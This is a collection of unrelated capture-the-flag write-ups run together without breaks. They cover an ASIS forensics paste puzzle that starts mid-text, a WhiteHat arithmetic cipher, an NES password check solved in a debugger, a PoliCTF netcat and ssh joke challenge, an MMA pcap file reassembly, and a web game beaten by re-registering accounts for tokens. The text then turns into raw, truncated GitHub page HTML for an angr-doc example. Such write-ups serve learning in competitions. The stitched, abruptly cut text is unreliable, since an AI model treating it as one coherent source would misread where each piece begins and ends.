1.```http://0bin.asis.io/paste/TINcoc0f{"iv":"adzR1bn929d5vf53R6BuDg","salt":"4SYEnmaSS58","ct":"J7QU491qMea5JTkR1y5MSH/UBp5QHIjHq7PeRRaqYn/rPsY1h1wiPbFp/gMufQ1w"} http://0bin.asis.io/paste/TINcoc0f#-krvZ7lGwZ4e2JQ8n+3dfsMBqyN6Xk6SUzY7i0JKbpohi all,Where is the flag? :-)``` 2.```http://0bin.asis.io/paste/Vyk5W274{"iv":"cg0Ep/SMSSG13vFJj5qj5Q","salt":"iGWh0On71+I","ct":"0ImBWPypPj4a/dzTJaN36zVlCkNF8GDvEME1QoKncwqGpa0KPAc8m7CkAs7Z3+FhyW/eqbw4xNG4WJ+VOTWVnGA6sXFfjmRA4VdwgZritXNATi1CLueSuw"} http://0bin.asis.io/paste/Vyk5W274#1L8OT3oT7Xr0ryJlS5ASprAqgsQysKeebbSK90gGyQothis is not flag :|ASIS{64672fabdbd51e841c54c53b9c83c6fd}``` 3.```http://0bin.asis.io/paste/1ThAoKv4#Zz-nHPnr0vGGg3s/7/RWD2pnZPZl580x9Y2G3IUehfc ``` Last one contains the flag as an ASCII graphic: ![Flag](https://github.com/bl4de/ctf/blob/master/2015/ASIS_CTF_2015/Biglie_Forensic100/biglie-flag.png) After completing all lines in one file, we can read the flag:
# WhiteHat Contest 10 2015: crypto100 **Category: Cryptography****Points: 100****Solves: 17****Author: WhiteHat Wargame****Description:** > Do you love Arithmetic? > [file](crypto100_c3747ddbe535de5601206babb456191b) ## Write-up by [x0w1](https://github.com/x0w1) There must be 50 letters encoded in 10 numbers, 5 letters per number. All given numbers are less then 1. There are 64 letters in the charset. If we multiply the first number and 64, we get 49.127273917. 49 is the position of letter "W" in the charset (if we start counting from 1). We take only fractional part of the new number and myltiply it x64:.127273917 x 64 = 8.145530688, 8 - is number of "h" in the charset. This way we get "White" from the first given number. To get "Hat{" from the second number we need to substract 1 from encoded letter position"H" = charset\[floor(0.5474434438*64) - 1\] (charset starts from 1, don't forget) To decode N-th number: n = {N-th_number} for i = 0 to 4 n = frac(n)*64 char[i + N * 5] = charset[floor(n) - N - 1] //(if charset starts from the 0th element) ## Other write-ups and resources * none yet
## Hacking Time (re, 200p, 180 solves) ### PL[ENG](#eng-version) > We’re getting a transmission from someone in the past, find out what he wants. > [HackingTime.nes](HackingTime.nes) Pobieramy udostępniony plik, który okazuje się obrazem aplikacji na Nintendo Entertainment System, 8-bitową konsolę, którą każdy zna i lubi :). Zadanie polega na podaniu hasła, które jednocześnie będzie flagą w tym zadaniu. Zamiast statycznie analizować to zadanie, spróbujemy rozwiązać je "na żywo" w emulatorze FCEUX z jego zintegrowanym debuggerem. Krótka eksperymentacja pozwala nam stwierdzić, że sprawdzenie hasła oprócz zmiany samego bufora z hasłem w pamięci modyfikuje nam również bajty od offsetu `0x1e`. ![](./memory.png) Ustawiamy w takim razie read breakpoint na tym adresie i przy ponownej próbie sprawdzenia hasła trafiamy na następujący fragment: ```gas 00:8337:A0 00 LDY #$00>00:8339:B9 1E 00 LDA $001E,Y @ $001E = #$80 00:833C:D0 08 BNE $8346 00:833E:C8 INY 00:833F:C0 18 CPY #$18 00:8341:D0 F6 BNE $8339 00:8343:A9 01 LDA #$01 00:8345:60 RTS ----------------------------------------- 00:8346:A9 00 LDA #$00 00:8348:60 RTS ----------------------------------------- ``` Jest to pętla, która sprawdza nam `0x18` znaków zaczynając od naszego offsetu `0x1e`. Jeżeli któryś z bajtów nie wynosi 0 to funkcja wychodzi z wartością 0, a w przeciwnym wypadku z 1. Bezpośrednia zmiana IP na instrukcję spod `0x8343` i wznowienie programu potwierdza nam komunikatem o sukcesie, że to jest celem zadania. Musimy zatem wprowadzić takie hasło by bajty spod offsetu `0x1e` wynosiły same zera. Możemy dokonać statycznej analizy albo literka po literce zbruteforce'ować nasze hasło (a to dzięki temu, że zmiana następnych liter nie zmienia nam bajtów poprzednich). Postanowiliśmy skorzystać z tej drugiej metody. Hasłem oraz flagą okazał się ciąg: `NOHACK4UXWRATHOFKFUHRERX`. Cała aplikacja jest oczywiście zabawnym nawiązaniem do filmu "Kung Fury" :)! ### ENG version > We’re getting a transmission from someone in the past, find out what he wants. > [HackingTime.nes](HackingTime.nes) We download the file, which turns out to be a image of an application for Nintendo Entertainment System, 8-bit console which everyone knows and likes :). The task was to get the password, which is also a flag. Instead of doing a static code analysis, we try to solve it "live" in FCEUX emulator with integrated debugger. Short experimentation enables us to notice that password check, apart from changing the password buffer itself, modified also some bytes from offset `0x1e`. ![](./memory.png) So we place a read breakpoint at this address and at the next password check we find this fragment: ```gas 00:8337:A0 00 LDY #$00>00:8339:B9 1E 00 LDA $001E,Y @ $001E = #$80 00:833C:D0 08 BNE $8346 00:833E:C8 INY 00:833F:C0 18 CPY #$18 00:8341:D0 F6 BNE $8339 00:8343:A9 01 LDA #$01 00:8345:60 RTS ----------------------------------------- 00:8346:A9 00 LDA #$00 00:8348:60 RTS ----------------------------------------- ``` It's a loop which checks `0x18` characters starting with the offset `0x1e`. If any of the bytes is not 0 the function returns with 0, otherwise it returns with 1. Changing IP manually for the instruction at `0x8343` and resuming the execution ensures us with a success dialog that this is the point of the task. We have to put there a password so that bytes from offset `0x1e` are all zeroes. We could do a static code analysis or try to brute force the password character by character (mostly because changing next characters does not affect previous bytes). We decided to do the latter. The password and the flag was `NOHACK4UXWRATHOFKFUHRERX`. Whole application is, of course, connected with the movie "Kung Fury" :)!
### HARD INTERVIEW##### 50 pointsQuestion--`interview.polictf.it:80`Readings--* https://www.youtube.com/watch?v=zfy5dFhw3ik Answer--We first use `nc` to connect the server and the result is: ```bash$ nc interview.polictf.it 80 ____ __ __ /\ _`\ /\ \__ /\ \__ \ \ \/\ \ __ _____ __ _ __\ \ ,_\ ___ ___ __ ___\ \ ,_\ \ \ \ \ \ /'__`\/\ '__`\ /'__`\ /\`'__\ \ \/ /' __` __`\ /'__`\/' _ `\ \ \/ \ \ \_\ \/\ __/\ \ \L\ \/\ \L\.\_\ \ \/ \ \ \_/\ \/\ \/\ \/\ __//\ \/\ \ \ \_ \ \____/\ \____\\ \ ,__/\ \__/.\_\\ \_\ \ \__\ \_\ \_\ \_\ \____\ \_\ \_\ \__\ \/___/ \/____/ \ \ \/ \/__/\/_/ \/_/ \/__/\/_/\/_/\/_/\/____/\/_/\/_/\/__/ \ \_\ \/_/ ___ ____ ___ /'___\ /\ _`\ /'___\ ___ /\ \__/ \ \ \/\ \ __ /\ \__/ __ ___ ____ __ / __`\ \ ,__\ \ \ \ \ \ /'__`\ \ ,__\/'__`\/' _ `\ /',__\ /'__`\ /\ \L\ \ \ \_/ \ \ \_\ \/\ __/\ \ \_/\ __//\ \/\ \/\__, `\/\ __/ \ \____/\ \_\ \ \____/\ \____\\ \_\\ \____\ \_\ \_\/\____/\ \____\ \/___/ \/_/ \/___/ \/____/ \/_/ \/____/\/_/\/_/\/___/ \/____/ ____ ____ ____ ___ ____ _ ____ ___ ____ ___ ____ ____ ____ ____ ____ ____ ____ _ _ _ _ _|__/ |___ [__ | |__/ | | | |___ | \ |__| | | |___ [__ [__ | | |\ | | \_/ | \ |___ ___] | | \ | |___ | |___ |__/ | | |___ |___ |___ ___] ___] |__| | \| |___ | fish@sword:~$ help A very hard interview: Codename Blow...FishMaybe you can help me with something...DOD d-base, 128 bit encryption....What do you think?Maybe slide in a Trojan horse hiding a worm...I have been told that best "crackers" in the world can do it 60 minutes, unfortunately i need someone who can do it in 60 seconds... naturally with the right incentives ;)If you know what I mean, tell me how a real cracker accesses to a remote super protected server... Possible commands: hacker: Write code as a real hacker help: Give informations about the program hint: Gives a little hint exit: Loser...bye Bye ssh: A tiny ssh command date: A very useful and innovative feature```Now we must remember [sward fish movie](https://www.youtube.com/watch?v=zfy5dFhw3ik) famous scene; The usernames and IPs was these: Usernames: * admin* bin* ... IPs:* 213.225.312.5* 312.5.125.233 After try some we have: ```fish@sword:~$ ssh [email protected] flag{H4ll3_B3rry's_t0pl3ss_sc3n3_w4s_4ls0_n0t4bl3}``` ##### Flag: `flag{H4ll3_B3rry's_t0pl3ss_sc3n3_w4s_4ls0_n0t4bl3}`
[](ctf=mma-ctf-2015)[](type=forensics)[](tags=)[](tools=wireshark,gimp)[](techniques=) # Splitted (forensics-30) We're given [a pcap file](../splited.pcap), let's go ahead and open it in wireshark. We can easily see that a file called 'flag.zip' is being sent.. Let's filter required packets:> http && ip.src==192.168.4.10 We see 8 packets, so exported all the 8 packets as HTTP objects (File > Export Objects.. > HTTP). From wireshark we can the range of each HTTP response, as follows. Packet No | Range start----------|------------16 | 234526 | 036 | 140746 | 281456 | 328366 | 46976 | 93886 | 1386 Sorted them according to range start Packet No | Range start----------|------------26 | 066 | 46976 | 93886 | 138636 | 140716 | 234546 | 281456 | 3283 Renamed the exported packets to follow this order, and assembled them:```bash$ mv packet-26 part-1.zip$ mv packet-66 part-2.zip$ mv packet-76 part-3.zip$ mv packet-86 part-4.zip$ mv packet-36 part-5.zip$ mv packet-16 part-6.zip$ mv packet-46 part-7.zip$ mv packet-56 part-8.zip$ cat part-*.zip > flag.zip$ unzip flag.zip```We see a file called 'flag.psd'. Opening it in GIMP, we see flag in the bottom layer ![Screenshot](screenshot.png) > MMA{sneak_spy_sisters}
#K_{Stairs} **Category:** Web**Points:** 100**Description:** http://54.152.84.91 ##Write-upHitting the site, we are welcomed with the following: ![Image of site](./Images/home.png) Immediately we register and start looking around. ![Image of registration](./Images/register.png) So, straight off the bat we notice that we were given 3 tokens for registering to play and there appears to be DLC content available to help us in our conquest. After a lot of playing around and throwing things (the site was very slow and buggy at times), we noticed that if you register and then just logout and re-register it aggregates your tokens. ![Image of tokens](./Images/tokens.png) During our recon we also noticed a hidden compass that said it costs 100 tokens. ![Image of hidden compass](./Images/hidden.png) We wasted a lot of time here trying to buy this upgraded compass by changing the ```bid``` parameter to ```4```, as we thought perhaps it would give us an upper hand while actually playing the game. No matter what we did we were always greeted with the ```nO-oP``` message. ![Image of bid](./Images/bid.png) ![Image of nO-oP](./Images/noop.png) Before you comment on the number of tokens being shown above while trying to purchase a ```100``` compass, these images were taken after the fact. We had closer to ```200``` tokens available while testing and were never able to purchase this item. So moving back to collecting tokens. After we finished registering enough users, we went ahead and purchased the ```10``` token compass, a bunch of food, and headed off on our quest. ![Image of tokens_after](./Images/tokens_after.png) ![Image of compass](./Images/compass.png) The compass basically was boolean in nature. It would only tell you if you were going the right or wrong direction. We took the approach of heading one direction until it tells us that that is no longer the correct direction and then turn and head the way the compass tells us. Eventually we wind up finding a staircase. ![Image of stairs](./Images/stairs.png) Heading up the stairs kills us, but only after revealing the flag. ![Image of flag](./Images/flag.png)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>angr-doc/examples/asisctffinals2015_license at master · angr/angr-doc · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="CD0D:0F2B:6D1879A:7027A2F:6412299F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="dbd52baed3d5a901cdc65d07f3c0fbd3f50d13b9ee16989427431189f071e496" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRDBEOjBGMkI6NkQxODc5QTo3MDI3QTJGOjY0MTIyOTlGIiwidmlzaXRvcl9pZCI6IjUzODM4NDc3NjQ3MDU4MTQ5NDMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="3a2c869962f5215f443afc526d75c90d00b333f710853979daa07f01dbee069c" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:40329995" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/8f6827a0e6b0372df5ac38932a4e0e874de610d5ffc074c0414ae55bbd1ae4ca/angr/angr-doc" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="angr-doc/examples/asisctffinals2015_license at master · angr/angr-doc" /><meta name="twitter:description" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/8f6827a0e6b0372df5ac38932a4e0e874de610d5ffc074c0414ae55bbd1ae4ca/angr/angr-doc" /><meta property="og:image:alt" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="angr-doc/examples/asisctffinals2015_license at master · angr/angr-doc" /><meta property="og:url" content="https://github.com/angr/angr-doc" /><meta property="og:description" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/angr/angr-doc git https://github.com/angr/angr-doc.git"> <meta name="octolytics-dimension-user_id" content="12520807" /><meta name="octolytics-dimension-user_login" content="angr" /><meta name="octolytics-dimension-repository_id" content="40329995" /><meta name="octolytics-dimension-repository_nwo" content="angr/angr-doc" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="40329995" /><meta name="octolytics-dimension-repository_network_root_nwo" content="angr/angr-doc" /> <link rel="canonical" href="https://github.com/angr/angr-doc/tree/master/examples/asisctffinals2015_license" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 